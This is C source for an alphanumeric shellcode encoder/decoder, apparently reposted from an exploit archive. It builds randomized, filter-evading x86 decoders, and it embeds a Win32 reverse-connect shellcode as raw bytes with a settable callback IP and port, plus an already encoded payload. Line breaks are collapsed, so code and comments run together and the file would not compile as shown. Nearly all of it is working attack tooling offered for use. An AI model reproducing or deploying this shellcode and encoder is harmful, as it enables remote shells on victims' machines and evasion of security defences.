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Alphanumeric Shellcode Encoder Decoder
====================================== Alphanumeric Shellcode Encoder Decoder ====================================== /* ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// Alphanumeric Shellcode Encoder Decoder Copyright © 1985-2008 Avri Schneider - Aladdin Knowledge Systems, Inc. All rights reserved. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/gpl-3.0.html>. +-----------+ WORKS CITED +-----------+ +--------------------------------------------------------------------------------------------------+ |Matt Conover, Soren Macbeth, Avri Schneider 05 October 2004 | |Encode2Alnum (polymorphic alphanumeric decoder/encoder) | |Full-Disclosure <http://lists.grok.org.uk/pipermail/full-disclosure/2004-October/027147.html> | | | |CLET Team. Aug. 2003 | |Polymorphic Shellcode Engine | |Phrack <http://www.phrack.org/show.php?p=61&a=9> | | | |Ionescu, Costin. 1 July 2003 | |Re: GetPC code (was: Shellcode from ASCII) | |Vuln-Dev <http://www.securityfocus.com/archive/82/327348> | | | |rix. Aug. 2001 | |Writing ia32 alphanumeric shellcodes | |Phrack <http://www.phrack.org/show.php?p=57&a=15> | | | |Wever, Berend-Jan. 28 Jan. 2001 | |Alphanumeric GetPC code | |Vuln-Dev <http://www.securityfocus.com/archive/82/351528> | |ALPHA3 <http://skypher.com/wiki/index.php?title=ALPHA3> | +--------------------------------------------------------------------------------------------------+ ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// */ #include <time.h> #include <stdio.h> #include <windows.h> #define MAX_BYTES 0x100 #define MAX_ENCODED_SHELLCODE 2000 //this will be allocated on the stack #define MIN_IP_STR_LEN 7 #define MAX_IP_STR_LEN 15 #define OFFSET_XOR_AL1_A 15 #define OFFSET_XOR_AL1_B 18 #define OFFSET_XOR_AL2_A 37 #define OFFSET_XOR_AL2_B 40 #define OFFSET_PUSH_DWORD1 0 #define OFFSET_PUSH_DWORD2 1 #define OFFSET_PUSH_DWORD3 4 #define OFFSET_PUSH_DWORD4 12 #define OFFSET_RANDOMIZED_DECODER_HEAD 14 #define SIZE_RANDOMIZED_DECODER_HEAD 16 BYTE EncodedShellcode[] = // encoded 336 bytes "PZhUQPTX5UQPTHHH4D0B8RYkA9YA3A9A2B90B9BhPTRWX5PTRW4r8B9ugxPqy8xO" "wck4WTyhlLlUjyhukHqGCixVLt4UTCBRwsV3pRod8OLMKO9FXJVTJJbJX4gsVXAt" "Q3ukAxFmVIw7HyBfDyNv5zXqg4PQeTxZJLm56vRjSidjSz75mHb2RL5Hl30tUmnH" "HtXEv7oZVdiEv1QwWijcgVk4CZn7NI3uRai32AZ7FS0Iq1cwWc5T5RlnTIiKJVmq" "4T4MElucobfP4vWyB0OfB34JRJ9T4zjLlbKmlk7jTicj11869F001uAdTZKNJ7wL" "mOv5mLlGPKFLtNI2525WhktKDO0NIlseHIuJ33xv7xGQAW55eZKXHw78zfvCI2U0" "9Ulw5ZZhynmxG7JZZgJAYbg1MEp5QcOv7AYkYfcHQDWVMlJnzOSh8nzg1NZZn5Px" "11U5INVEtvZOS1E094HqmbB6K1MfRIq7KQyNOeL7NHI1Xnwhyhy69bg2bTexGnkc" "CEt90vn3DaFxGaFuRIPg0NK40kdg0L9ImaFbGy1Wl7JyGeJByHdfRCSYzvCzVa2v" "RtQWG5lxRMN1CZREvyKFvfwij3X2P81J1wk9ZLmGAqxGPuQv7RBX411iaWKCLGnD" "kwRZKREaRis5V7c5ILxKfAx6MbH40T53PnX9ZwSWtYzbHwCzkS0Ev5iVmLmS3xSk" "1telLPYuGyNvX1TyJ3yLdOwckr"; // example: make encoder choose more uppercase bytes... #define ADDITIONAL_CHARSET "ABCDEFGHIJKLMNOPQRSTUVWXYZ" #define ALNUM_CHARSET ADDITIONAL_CHARSET "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" // <--- allowed charset // feel free to //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////change - YMMV #define REGISTER_WITH_ADDRESS_OF_SHELLCODE esp // <--- change this to the register holding the address of the decoder//////////// #define _Q(str) #str #define Q(str) _Q(str) #define P(str) #str ##" // <--- buffer offset\n"## _Q(str) /////////////////////////////////// #define CONNECT_BACK_SHELLCODE // //#undef CONNECT_BACK_SHELLCODE //undefine CONNECT_BACK_SHELLCODE to use your own - and place it in shellcode[] >-----------------. /////////////////////////////////////////////////////////////////// | int main(); // | UCHAR *scan_str_known_pattern(UCHAR *alnum_str, UCHAR *known_pattern, UINT known_pattern_length); // | UCHAR get_push_register_instruction(UCHAR *reg); // | UCHAR get_random_alnum_value(); // | UCHAR get_random_alnum_push_dword_opcode(); // | UCHAR *get_nop_slide(UINT size, UINT slide); /////// | UCHAR *slide_substr_forward(UCHAR *str, UINT substr_offset, UINT substr_len, UINT str_len, UINT slide);// | UCHAR *slide_substr_back(UCHAR *str, UINT substr_offset, UINT substr_len, UINT str_len, UINT slide); // | UCHAR *shuffle(UCHAR str[], UINT length); /////// | DWORD my_htonl(DWORD dw_in); // | DWORD ip_str_to_dw(UCHAR *str); // | BOOL terminating_key_exist(UCHAR *alnum_shellcode, UCHAR *terminating_key); // | BOOL is_alnum(UCHAR c); // | BOOL str_is_alnum(UCHAR *str); // | UCHAR get_two_xor_complemets_for_byte_and_xor(UCHAR byte, UCHAR xor, int index); // | UCHAR *randomize_decoder_head(UCHAR *decoder, UINT size_decoder, UCHAR xor_al1, UCHAR jne_xor1); // | struct xor2_key *get_xor2_and_key_for_xor1_and_c(UCHAR xor1, UCHAR c); // | struct xor2_key *choose_random_node(struct xor2_key *head); // | void free_p_xor2_key(struct xor2_key *node); // | // | struct xor2_key { // | UCHAR xor2; // | UCHAR key; // | struct xor2_key *prev; // | struct xor2_key *next; // | } xor2_key; // | // | // | // Title: Win32 Reverse Connect // | // Platforms: Windows NT 4.0, Windows 2000, Windows XP, Windows 2003 // | // Author: hdm[at]metasploit.com // | #ifdef CONNECT_BACK_SHELLCODE // | #define OFFSET_IP_ADDRESS 154 // | #define OFFSET_TCP_PORT_NUMBER 159 // | #define IP_ADDRESS "127.0.0.1" // | #define TCP_PORT_NUMBER 123 // | DWORD ip_address; // | UCHAR shellcode[] = // | "\xe8\x30\x00\x00\x00\x43\x4d\x44\x00\xe7\x79\xc6\x79\xec\xf9\xaa" // | "\x60\xd9\x09\xf5\xad\xcb\xed\xfc\x3b\x8e\x4e\x0e\xec\x7e\xd8\xe2" // | "\x73\xad\xd9\x05\xce\x72\xfe\xb3\x16\x57\x53\x32\x5f\x33\x32\x2e" // | "\x44\x4c\x4c\x00\x01\x5b\x54\x89\xe5\x89\x5d\x00\x6a\x30\x59\x64" // | "\x8b\x01\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x58\x08\xeb\x0c\x8d\x57" // | "\x24\x51\x52\xff\xd0\x89\xc3\x59\xeb\x10\x6a\x08\x5e\x01\xee\x6a" // | "\x08\x59\x8b\x7d\x00\x80\xf9\x04\x74\xe4\x51\x53\xff\x34\x8f\xe8" // | "\x83\x00\x00\x00\x59\x89\x04\x8e\xe2\xeb\x31\xff\x66\x81\xec\x90" // | "\x01\x54\x68\x01\x01\x00\x00\xff\x55\x18\x57\x57\x57\x57\x47\x57" // | "\x47\x57\xff\x55\x14\x89\xc3\x31\xff\x68" // | "IPIP" // I.P. address // | "\x68" // | "PORT" // TCP port number // | "\x89\xe1\x6a\x10\x51\x53\xff\x55\x10\x85\xc0\x75\x44\x8d\x3c\x24" // | "\x31\xc0\x6a\x15\x59\xf3\xab\xc6\x44\x24\x10\x44\xfe\x44\x24\x3d" // | "\x89\x5c\x24\x48\x89\x5c\x24\x4c\x89\x5c\x24\x50\x8d\x44\x24\x10" // | "\x54\x50\x51\x51\x51\x41\x51\x49\x51\x51\xff\x75\x00\x51\xff\x55" // | "\x28\x89\xe1\x68\xff\xff\xff\xff\xff\x31\xff\x55\x24\x57\xff\x55" // | "\x0c\xff\x55\x20\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c\x8b" // | "\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32\x49" // | "\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07\xc1" // | "\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24\x01" // | "\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\xeb" // | "\x02\x31\xc0\x89\xea\x5f\x5e\x5d\x5b\xc2\x08\x00"; // | #else ////////////////////////////////////// | UCHAR shellcode[] = "\xCC YOUR SHELLCODE GOES HERE \xCC"; // <----------------- here ------------------------------------------' #endif // DWORD size = sizeof(shellcode)-1; // // int main() { ///////////////////////////////////////////////////////// //(decoder address is in ecx when decoder starts) // UCHAR PUSH_REGISTER_WITH_DECODER_ADDRESS = get_push_register_instruction(Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE)); // >----------. // // | #define END_OF_ENCODED_SHELLCODE 'A','L','D','N' // this is the terminating string of the encoded shellcode // | UCHAR str_end_of_encoded_shellcode[]= {END_OF_ENCODED_SHELLCODE}; //////////////////////////////////////////////// | UCHAR xor_al1 = get_random_alnum_value(); // this is used to zero out AL the first time | UCHAR xor_al2 = get_random_alnum_value(); // this is used to zero out AL the second time | int offset_imul_key = '\xC1';//////////////////////// | int jne_xor1 = '\xC2';// >---------------------------------------------------------. | int jne_xor2 = '\xC3';// >--------------------------------------------------------------| | // you would need to play with these two values if you want to reduce | | // the size of the NOP slides - they obviously need to stay alnum. | | // You could also play with the value of AL before the XOR is done | | // to get your desired negative offset. keep in mind that it will cost | | // you instructions to get al to the value you want (if you use xor of | | // two alphanumeric bytes, you would need to push first alphanumeric | | // char to the stack, pop eax, then xor it with it's alnum complement) | | // This playing around would result in an even harder to detect decoder | | // as the offsets would be different | | int size_decoder ='\xC4'; // | | int half_size_decoder ='\xC5'; //////////////////////////////////////////////////////////////////// | | UCHAR imul_instruction_1 ='\x6B'; // | | UCHAR imul_instruction_2 ='\x41'; // | | UCHAR imul_instruction_3 ='\xC6'; //size of decoder+1 // | | UCHAR imul_instruction_4 ='\xC7'; //initial key (random alnum) // | | // // | | UINT column=0, i=0; /////////////////////////////// | | UCHAR *alnum = ALNUM_CHARSET; // | | UCHAR *p_alnum = alnum; // | | UCHAR decoder[] = // | | { //////////////////////////////////////////////////////////////////////////////// | | // | | //[step_1] -- multiply first encoded byte with key | | //[step_2] -- xor result of step_1 with second encoded byte to get the decoded byte | | // | | // Each binary byte is encoded into three alphanumeric bytes. | | // The first byte multipled by the third byte xor'ed against the second byte yeilds the original | | // binary byte. | | // | | // TODO: | | // .--(first byte ^ second byte) * third byte | | // '--(second byte ^ first byte) * third byte | | // | | // .--(first byte ^ third byte) * second byte | | // '--(third byte ^ first byte) * second byte | | // | | // .--(second byte ^ third byte) * first byte | | // '--(third byte ^ second byte) * first byte | | // | | // .--(first byte * second byte) ^ third byte | | // '--(second byte * first byte) ^ third byte | | // | | // .--(first byte * third byte) ^ second byte <-- decoder/encoder implemented | | // '--(third byte * first byte) ^ second byte <-- decoder implemented (same encoder) | | // | | // .--(second byte * third byte) ^ first byte | | // '--(third byte * second byte) ^ first byte | | // | | // | | // The above is divided into pairs, each pair has the same values (in parenthesis) just at different offsets, | | // and we can switch them around with no effect. Each option requires a different decoder, but each pair can use the | | // same encoder. | | // | | /////////// DECODER HEAD (will be randomized by sliding instructions) //////// >----------------------------------|----|---. /* 1*/ '\x50', //push ??? (this can change) // [eax = address of decoder]------+ | | | /* 2*/ '\x50', //push ??? (this can change) // [ecx = address of decoder]------+ | | | /* 3*/ PUSH_REGISTER_WITH_DECODER_ADDRESS, //push reg (decoder address) // [edx = address of decoder]------+ | | | /* 4*/ PUSH_REGISTER_WITH_DECODER_ADDRESS, //push reg (base offset for cmp) // [ebx = address of decoder]------+ | | | /* 5*/ '\x50', //push ??? (this can change) // [esp = address of decoder]------+ | | | /* 7*/ '\x6A', half_size_decoder, //push 35h (word offset for cmp) // [ebp = decoder size / 2]--------+ | | | /*12*/ '\x68', END_OF_ENCODED_SHELLCODE, //push END_OF_ENCODED_SHELLCODE // [esi = 4 bytes terminating key]>+ | | | /*13*/ '\x50', //push ??? (this can change) // [edi = address of decoder]------+ | | | /*14*/ '\x61', //popad // [set all registers] <-----------' | | | /*16*/ '\x6A', xor_al1, //last decoder byte=0xB1 //push XOR_AL1 [JNE_XOR1^0xFF=al^JNE_XOR2=last byte==0xB1] >----. | | | /*17*/ '\x58', //pop eax <-------------------------------------------------' | | | /*19*/ '\x34', xor_al1, //xor al,XOR_AL1 [al = 0x00] | | | /*20*/ '\x48', //dec eax [al = 0xFF] [you can play with AL here...]<----' | | /*22*/ '\x34', jne_xor1, //xor al,JNE_XOR1 [al = 0xFF ^ JNE_XOR1] | | /*25*/ '\x30', '\x42', size_decoder-1, //xor byte ptr [edx+size],al >--change-last-byte--. | | /*26*/ '\x52', //push edx [save decoder address on stack] | | | /*27*/ '\x52', //push edx >----. | | | /*28*/ '\x59', //pop ecx <------' [ecx = address of decoder] | | | /*29*/ '\x47', //inc edi we increment ebx keeping the decoder | | | /*30*/ '\x43', //inc ebx length non-even (edi is unused) | | | //////////////// DECODER_LOOP_START /////////////////////////////////////////// | | | /*31*/ '\x58', //get address of the decoder //pop eax <---------. <--|-----------------. | | /*32*/ '\x52', //save edx //push edx [can use edx now]>---------------|----|---------------. | | | /*33*/ '\x51', //save ecx //push ecx [can use ecx now] >------------|----|-------------. | | | | /*34*/ '\x50', //save address of decoder //push eax [can use eax now] >---------|----|-----------. | | | | | /*35*/ '\x50', //save eax //push eax >----. | | | | | | | | /*36*/ '\x5A', //restore into edx //pop edx <------' | | | | | | | | /*38*/ '\x6A', xor_al2, //zero out al //push XOR_AL2 [al = 0] >----. | | | | | | | | /*39*/ '\x58', //zero out al //pop eax | | | | | | | | | /*41*/ '\x34', xor_al2, //zero out al //xor al,XOR_AL2 <----------' | | | | | | | | /*42*/ '\x50', //save al on the stack (al=0)//push eax >-----------------. | | | | | | | | /*45*/ '\x32', '\x42', offset_imul_key, //xor al,byte ptr [edx+off] | | | | | | | | | /*48*/ '\x30', '\x42', offset_imul_key, //xor byte ptr [edx+off],al >--this-zero's-the-key----. | | | | | | /*49*/ '\x58', //restore al from the stack (al=0)//pop eax <----------------------' | | | | | | | | | /*52*/ '\x32', '\x41', size_decoder+2, // get key in al //xor al,byte ptr [ecx+size+2] | | | | | | | | | /*55*/ '\x30', '\x42', offset_imul_key, //xor byte ptr [edx+off],al >---this-changes-the-key--|----. | | | | | | /*56*/ '\x58', //restore address of decoder //pop eax <---------------------------------|----|---|----|--' | | | | | /*57*/ '\x59', //restore ecx [word offset] //pop ecx <------------------------------|----|---|----|----' | | | | /*58*/ '\x5A', //restore edx [byte offset] //pop edx <---------------------------|----|---|----|------' | | | /*59*/ '\x50', //save address of decoder //push eax >---------------------------------|----|---|----|--------' | | /////////// START NOP_SLIDE_1 ///////////////////////////////////////////////// | | | | | | /*60*/ '\x41',/////////////////////////////////////inc ecx/////////////////////////// | | | | | | /*61*/ '\x49',/////////////////////////////////////dec ecx/////////////////////////// | | | | | | /*62*/ '\x41',/////////////////////////////////////inc ecx/////////////////////////// | | | | | | /*63*/ '\x49',/////////////////////////////////////dec ecx+-----------------------+// | | | | | | /*64*/ '\x41',// IMUL can go here and bellow //inc ecx| |// | | | | | | /*65*/ '\x49',// //dec ecx| 16 bytes |// | | | | | | /*66*/ '\x41',// //inc ecx| NOP slide |// | | | | | | /*67*/ '\x49',// //dec ecx| |// | | | | | | /*68*/ '\x41',// //inc ebx| can mungle eax until |// | | | | | | /*69*/ '\x49',// will be randomized //dec ebx| IMUL_INSTRUCTION |// | | | | | | /*70*/ '\x41',// //inc edx| |// | | | | | | /*71*/ '\x49',// //dec edx| |// | | | | | | /*72*/ '\x41',// //inc esi| |// | | | | | | /*73*/ '\x49',// //dec esi+-----------------------+// | | | | | | /*74*/ '\x41',// //push eax/////////////////////////// | | | | | | /*75*/ '\x49',// //pop eax//////////////////////// // | | | | | | //////////// END NOP_SLIDE_1 ////////////////////////////////////////////////// | | | | | | // | | | | | | // We can move around the IMUL_INSTRUCTION inside the NOP slides - but not before | | | | | | // MAX_OFFSET_OFFSET_IMUL i.e. we can't move it before the first 4 bytes of NOP_SLIDE_1 | | | | | | // or the offset will not be alphanumeric. | | | | | | // | | | | | | // We need to move the IMUL_INSTRUCTION in two byte increments, as we may modify eax in | | | | | | // NOP_SLIDE_1 and we can't change eax after the IMUL_INSTRUCTION (as the result goes | | | | | | // into eax) - this limitation can be overcome if we make sure not to modify eax after | | | | | | // the IMUL_INSTRUCTION - and it is easy enough, as we don't care about eax' value at | | | | | | // all - so we don't need to restore it. We can simply increment or decrement an unused | | | | | | // register instead. We happen to have such a register - edi =] | | | | | | // | | | | | | // So in NOP_SLIDE_1, we can't use push eax;pop eax unless they will not be split by | | | | | | // the IMUL_INSTRUCTION - because we would need the value of eax after the imul, and | | | | | | // the pop eax would overwrite it | | | | | | // | | | | | | // But we could use a dec eax;inc edi or a dec eax;dec edi combinations (inc eax is not | | | | | | // alphanumeric.). | | | | | | // | | | | | | // -OBSOLETE- | | | | | | // I have set here the IMUL_INSTRUCTION between NOP_SLIDE_1 and NOP_SLIDE_2 | | | | | | // If you wish to move it up, you will need to move it up by an even number of bytes. | | | | | | // You will then need to change OFFSET_OFFSET_IMUL accordingly | | | | | | // (add the number of bytes to it) | | | | | | // If you wish to move it down, you will need to move it down by an even number of | | | | | | // bytes. | | | | | | // You will then need to change OFFSET_OFFSET_IMUL accordingly | | | | | | // (deduct the number of bytes from it) | | | | | | // | | | | | | // TODO: make a routine that moves it around randomally between allowed values | | | | | | // and sets the proper offsets | | | | | | // this routine should be called after the NOP slides have been randomized. | | | | | | // | | | | | | ////////// START NOP_SLIDE_2 //////////////////////////////////////////////////// | | | | | | /*76*/ '\x41',// //inc ecx/////////////////////////// | | | | | | /*77*/ '\x49',// //dec ecx/////////////////////////// | | | | | | /*78*/ '\x41',// //inc ebx/////////////////////////// | | | | | | /*79*/ '\x49',// //dec ebx+-----------------------+// | | | | | | /*80*/ '\x41',// will be randomized //inc edx| |// | | | | | | /*81*/ '\x49',// //dec edx| 12 bytes |// | | | | | | /*82*/ '\x41',// //inc esi| NOP slide |// | | | | | | /*83*/ '\x49',// //dec esi| |// | | | | | | /*84*/ '\x41',// //push eax| |// | | | | | | /*85*/ '\x49',// //pop eax| |// | | | | | | /*86*/ '\x41',// //inc ecx+-----------------------+// | | | | | | /*87*/ '\x49',// //dec ecx/////////////////////////// | | | | | | // IMUL can go down to here | | | | | | ///////// [step_1] //imul eax,dword ptr [ecx+size_decoder+1],45h | | | | | | /*91*/imul_instruction_1, imul_instruction_2, imul_instruction_3, imul_instruction_4,// <-This-key-will-change-' | | ////////// END NOP_SLIDE_2//////////////////////////////////////////////////// | | | | /*92 */ '\x41', //ecx incremented once //inc ecx ---------------------. | | | | /*95 */ '\x33', '\x41', size_decoder, //[step_2]//xor eax,dword ptr [ecx+size] | <--------------------store decoded | | /*98 */ '\x32', '\x42', size_decoder, //xor al,byte ptr [edx+size] |ecx = ecx+2 | | byte | | /*101*/ '\x30', '\x42', size_decoder, //xor byte ptr [edx+size],al | | |(eax=result of IMUL) | | /*102*/ '\x41', //ecx incremented twice //inc ecx ---------------------' | | | | /*103*/ '\x42', //edx incremented once //inc edx edx = edx+1 | | | | /*104*/ '\x45', //ebp incremented once //inc ebp | | | | /*107*/ '\x39', '\x34', '\x6B', //cmp dword ptr [ebx+ebp*2],esi // check if we reached the end | | /*109*/ '\x75', jne_xor2, // <===0xB1 //jne DECODER_LOOP_START >--------------' <--' | | '\x00' // If you change the length of the decoder, the jne would need to jump to a different offset than 0xB1 | | };////////////////////////////////////////////////// | | UINT shrink; // | | UCHAR *found_msg; // | | UCHAR *p_decoder = decoder; // | | UCHAR xor1, xor2, key; // | | UCHAR temp_buf[3] = ""; // | | UCHAR alnum_shellcode[MAX_ENCODED_SHELLCODE] = "";// | | UCHAR *p_alnum_shellcode = alnum_shellcode; // todo: allow for the key to be either the first, | | struct xor2_key *p_xor2_key = 0; // the second or the third byte (currently third). | | UCHAR *p_shellcode = shellcode; // | | void *_eip = 0; // | | // | | int offset_nop_slide1; // | | int offset_nop_slide2; // | | int offset_half_size_decoder; // | | int offset_terminating_key; // | | int offset_imul_instruction1; // | | int offset_imul_instruction2; // | | int offset_imul_instruction3; // | | int offset_imul_instruction4; // | | int negative_offset_size_decoder1; // | | int negative_offset_size_decoder2; // | | int negative_offset_size_decoder3; // | | int offset_size_decoder_min_1; // | | int offset_size_decoder_pls_2; // | | int offset_imul_key_offset1; // | | int offset_imul_key_offset2; // | | int offset_imul_key_offset3; // | | int offset_imul_instruction; // | | int size_nop_slide1; // | | int size_nop_slide2; // | | int offset_jne_xor1; // | | int offset_jne_xor2; // | | int decoder_length_section1; // | | int decoder_length_section2; // | | int decoder_length_section3; // | | int imul_instruction_length; // | | int jne_xor_negative_offset; // | | int backward_slide_offset; // | | BOOL decoder_version_1; // | | UINT srand_value; // | | #ifdef CONNECT_BACK_SHELLCODE ///////////////////////////////////////////// | | printf("scanning EncodedShellcode for shellcode up to OFFSET_IP_ADDRESS bytes\n"); // | | found_msg = scan_str_known_pattern(EncodedShellcode, shellcode, OFFSET_IP_ADDRESS); // | | if (found_msg) printf("shellcode found encoded in EncodedShellcode using %s.\n", found_msg); // | | else printf("shellcode not found encoded in EncodedShellcode.\n");///////////////////////////// | | #endif ////////////////// | | printf("shellcode length:%d\n", size); // | | srand_value = time(NULL); // | | // srand_value = ; // for debugging | | srand(srand_value); // | | printf("srand value=%d\n", srand_value); // | | decoder_version_1 = rand() % 2; // | | ///// | | size_decoder = strlen(decoder);// | | decoder_length_section1 = 30; ////////////// | | decoder_length_section2 = 29; // | | decoder_length_section3 = 18; // | | // | | size_nop_slide1 = 28; // | | size_nop_slide2 = 0; // | | // | | imul_instruction_length = 4; // | | // | | shrink = (rand()%6)*2; //////////////////////////////////////////////////// (can shrink up to 10 bytes | | memmove(decoder+decoder_length_section1+decoder_length_section2+size_nop_slide1-shrink, // in 2 byte increments) | | decoder+decoder_length_section1+decoder_length_section2+size_nop_slide1, // | | imul_instruction_length+size_nop_slide2+decoder_length_section3+1); // | | size_decoder -=shrink; /////////////////////////////////////////////////////// | | half_size_decoder = size_decoder/2; // | | size_nop_slide1 -=shrink; ///////////////////////// | | printf("shrinking decoder by: %d\n", shrink); // | | // | | offset_imul_instruction = decoder_length_section1+// | | decoder_length_section2+// | | size_nop_slide1;////////// | | // | | backward_slide_offset = rand() % 15; // (selects a number from 0 to 14 in increments of 1) | | strncpy(decoder, // | | slide_substr_back(decoder, // | | offset_imul_instruction, // | | imul_instruction_length, // | | size_decoder, ///// | | backward_slide_offset), // | | size_decoder); // | | offset_imul_instruction -=backward_slide_offset; // | | size_nop_slide1 -=backward_slide_offset; // | | size_nop_slide2 +=backward_slide_offset; ////////////// | | printf("backward_slide_offset = %d\n", backward_slide_offset);// | | /////////////////////////////////// | | negative_offset_size_decoder1 = 9; // | | negative_offset_size_decoder2 = 12; // | | negative_offset_size_decoder3 = 15; // | | // | | offset_half_size_decoder = 6; // | | offset_terminating_key = 8; // | | offset_jne_xor1 = 21; // | | offset_size_decoder_min_1 = 24; // | | // | | offset_imul_key_offset1 = 14 + decoder_length_section1; // | | offset_imul_key_offset2 = 17 + decoder_length_section1; // | | offset_size_decoder_pls_2 = 21 + decoder_length_section1; // | | offset_imul_key_offset3 = 24 + decoder_length_section1; // | | // | | offset_nop_slide1 = decoder_length_section1+ // | | decoder_length_section2; // | | offset_nop_slide2 = decoder_length_section1+ // | | decoder_length_section2+ // | | size_nop_slide1+ // | | imul_instruction_length; // | | // | | offset_imul_instruction1 = offset_imul_instruction; // | | offset_imul_instruction2 = offset_imul_instruction+1; // | | offset_imul_instruction3 = offset_imul_instruction+2; // | | offset_imul_instruction4 = offset_imul_instruction+3; // | | // | | // | | offset_imul_key = offset_imul_instruction4; // | | // | | offset_jne_xor2 = size_decoder-1; // | | jne_xor_negative_offset = decoder_length_section3+ // | | decoder_length_section2+ // | | size_nop_slide2+ // | | imul_instruction_length+ // | | size_nop_slide1; // | | // | | // | | printf("size_decoder=0x%2X - %s\n", // | | (UCHAR)size_decoder, ////// | | is_alnum((UCHAR)size_decoder+(decoder_version_1?0:2))?"valid":"invalid - not alphanumeric!!!");// | | *(decoder+offset_imul_instruction3) = size_decoder+(decoder_version_1?0:2); ////// | | // | | printf("half_size_decoder=0x%2X - %s\n", // | | (UCHAR)half_size_decoder, // | | is_alnum((UCHAR)half_size_decoder)?"valid":"invalid - not alphanumeric!!!"); // | | *(decoder+offset_half_size_decoder) = half_size_decoder; // | | // | | printf("offset_imul_key=0x%2X - %s\n", // | | (UCHAR)offset_imul_key, // | | is_alnum((UCHAR)offset_imul_key)?"valid":"invalid - not alphanumeric!!!"); // | | *(decoder+offset_imul_key_offset1) = offset_imul_key; // | | *(decoder+offset_imul_key_offset2) = offset_imul_key; // | | *(decoder+offset_imul_key_offset3) = offset_imul_key; // | | // // | | printf("size_decoder-1=0x%2X - %s\n", // | | (UCHAR)size_decoder-1, // | | is_alnum((UCHAR)(size_decoder-1))?"valid":"invalid - not alphanumeric!!!"); // | | *(decoder+offset_size_decoder_min_1) = size_decoder-1; // | | // | | printf("size_decoder+2=0x%2X - %s\n", // | | (UCHAR)size_decoder+2, //////// | | is_alnum((UCHAR)(size_decoder+(decoder_version_1?2:0)))?"valid":"invalid - not alphanumeric!!!");// | | *(decoder+offset_size_decoder_pls_2) = size_decoder+(decoder_version_1?2:0); //////// | | // | | *(decoder+size_decoder-negative_offset_size_decoder1) = size_decoder; // | | *(decoder+size_decoder-negative_offset_size_decoder2) = size_decoder; // | | *(decoder+size_decoder-negative_offset_size_decoder3) = size_decoder; ////////////////////////////// | | // | | *(decoder+offset_jne_xor1) = get_two_xor_complemets_for_byte_and_xor((UCHAR)(-jne_xor_negative_offset),// | | '\xFF', // | | 0); // | | *(decoder+offset_jne_xor2) = get_two_xor_complemets_for_byte_and_xor((UCHAR)(-jne_xor_negative_offset),// | | '\xFF', // | | 1); // | | #ifdef CONNECT_BACK_SHELLCODE // | | ip_address = ip_str_to_dw(IP_ADDRESS);/////////////////////////////////////////////////// | | if (ip_address == -1) /////////////////////////////////////////////////// | | exit(-1); // | | /////////////////////////////////// | | //set shellcode with ip address and port for connect-back // | | ///* ////////// | | *((DWORD *)(p_shellcode+OFFSET_IP_ADDRESS)) = ip_address;///////////////// | | *((DWORD *)(p_shellcode+OFFSET_TCP_PORT_NUMBER)) = my_htonl(TCP_PORT_NUMBER);// | | *(p_shellcode+OFFSET_TCP_PORT_NUMBER) = (UCHAR)2; // | | #endif ////////////////////////////////////////// | | //*/ // | | //set decoder with 'random' nop slides // | | strncpy(decoder+offset_nop_slide1, //////////////////////////// | | shuffle(get_nop_slide(size_nop_slide1, 1), size_nop_slide1),// | | size_nop_slide1); // | | strncpy(decoder+offset_nop_slide2, // | | shuffle(get_nop_slide(size_nop_slide2, 2), size_nop_slide2),// | | size_nop_slide2); /////////////////////////////// | | // # 0day.today [2024-11-16] #